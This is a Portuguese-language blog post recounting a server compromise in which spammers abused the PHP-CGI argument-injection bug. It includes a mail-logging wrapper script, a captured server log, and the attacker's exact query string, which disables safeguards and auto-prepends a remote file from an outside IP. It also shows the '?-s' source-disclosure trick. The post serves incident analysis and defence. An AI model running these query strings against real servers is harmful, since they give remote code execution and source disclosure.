Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando. Ou seja com o comando
http://localhost/index.php?-s
Você obtém o conteúdo do código PHP. Isso é muito bizarro!
1. O que estava acontecendo?
Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.
Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).
O arquivo pagenews.php e as suas cópias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, opções de criar, remover e editar aquivos, enviar email, e enviar em lote, além de um console e auto-remove.
De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permissões da pasta e arquivos para um usuário padrão e seguro. Com isso achamos que os disparos de emails fosse parar, mas não foi o que aconteceu, a fila de emails só crescia.
Dai então procuramos por todo o servidor por rastros de outros arquivos e não encontramos nada!
2. O que fizemos?
Nesse servidor invadido só roda PHP, ou seja estavam de alguma forma usando a função mail() para disparar spams. Dai seguindo as dicas desse site (http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam) criei um wrapper pra monitorar o envio dos emails usando a função mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu não queria só saber de qual site estava sendo disparado o email, mas queria saber também de qual script php, e quais parametros estavam sendo passados para ele, logo o meu phpsendmail ficou assim.
/usr/local/bin/phpsendmail
#!/usr/bin/php
*/
$sendmail_bin = '/usr/sbin/sendmail';
$logfile = '/var/log/mail.form';
//* Get the email content
$logline = '';
$pointer = fopen('php://stdin', 'r');
while ($line = fgets($pointer)) {
if(preg_match('/^to:/i', $line) || preg_match('/^from:/i', $line)) {
$logline .= trim($line).' ';
}
$mail .= $line;
}
//* compose the sendmail command
$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';
for ($i = 1; $i < $_SERVER['argc']; $i++) { $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } //* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . " \n\n ----\n".print_r($_ENV,true)."\n\n" . ' ' .$logline."\n\n", FILE_APPEND); //* Execute the command return shell_exec($command); ?>
O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais fácil de ver as variáveis de ambiente no momento da execução do código.
Feito isso, comecei a monitorar o /var/log/mail.form com o comando tail.
shell~# tail -f /var/log/mail.form
O retorno foi inesperado e surpreendente como segue:
To: xxxxxxx@yahoo.com From: "FedEx Service" <information@fedex.com> 2012-06-08 12:16:32 ---- Array ( [SERVER_SIGNATURE] => <address>Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at meusiteemphp.com.br Port 80</address> [ORIG_PATH_TRANSLATED] => /var/www/sites/meusiteemphp/index.php [REDIRECT_SCRIPT_URL] => /index.php [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0 [SERVER_PORT] => 80 [HTTP_HOST] => meusiteemphp.com.br [REDIRECT_SCRIPT_URI] => http://meusiteemphp.com.br/index.php [HTTP_EXPECT] => 100-continue [REDIRECT_HANDLER] => php5-cgi [DOCUMENT_ROOT] => /var/www/sites/meusiteemphp [SCRIPT_FILENAME] => /var/www/sites/meusiteemphp/index.php [REQUEST_URI] => /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt [SCRIPT_NAME] => /index.php [SCRIPT_URI] => http://meusiteemphp.com.br/index.php [REMOTE_PORT] => 32822 [ORIG_SCRIPT_FILENAME] => /usr/lib/cgi-bin/php5 [PATH] => /usr/local/bin:/usr/bin:/bin [SCRIPT_URL] => /index.php [PWD] => /var/www/sites/meusiteemphp [SERVER_ADMIN] => exemplo@exemplo.com.br [REDIRECT_STATUS] => 200 [REDIRECT_QUERY_STRING] => -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt [ORIG_SCRIPT_NAME] => /php5-cgi [HTTP_ACCEPT] => */* [REMOTE_ADDR] => 31.184.244.28 [SHLVL] => 1 [SERVER_NAME] => meusiteemphp.com.br [CONTENT_LENGTH] => 370977 [SERVER_SOFTWARE] => Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 [QUERY_STRING] => -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt [SERVER_ADDR] => 173.255.255.255 [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_PROTOCOL] => HTTP/1.1 [REDIRECT_URL] => /index.php [CONTENT_TYPE] => multipart/form-data; boundary=----------------------------0e65a7f6d6ad [REQUEST_METHOD] => POST [ORIG_PATH_INFO] => /index.php [_] => /usr/local/bin/phpsendmail )
Atenção aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:
-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
Peguei o arquivo send.txt e tinha um código todo organizado e bonitinho para envio de email. Com esses parametros a invasão estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo após deletarmos os arquivos ele continuou mandando email.
Achei o seguinte no PHP.net https://bugs.php.net/bug.php?id=61910 :
According to PHP's website, "PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML." When PHP is used in a CGI-based setup (such as Apache's mod_cgid), the php-cgi receives a processed query string parameter as command line arguments which allows command-line switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution.
Dito e feito, funcionou de verdade, e o pior que foi comigo.
Mas fica para aprendermos.
3. O que foi feito?
Atualizamos a versão do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.
Boa sorte!
Referencias:
http://www.php.net/archive/2012.php#id2012-05-03-1
https://bugs.php.net/bug.php?id=61910
http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam
Deixe um comentário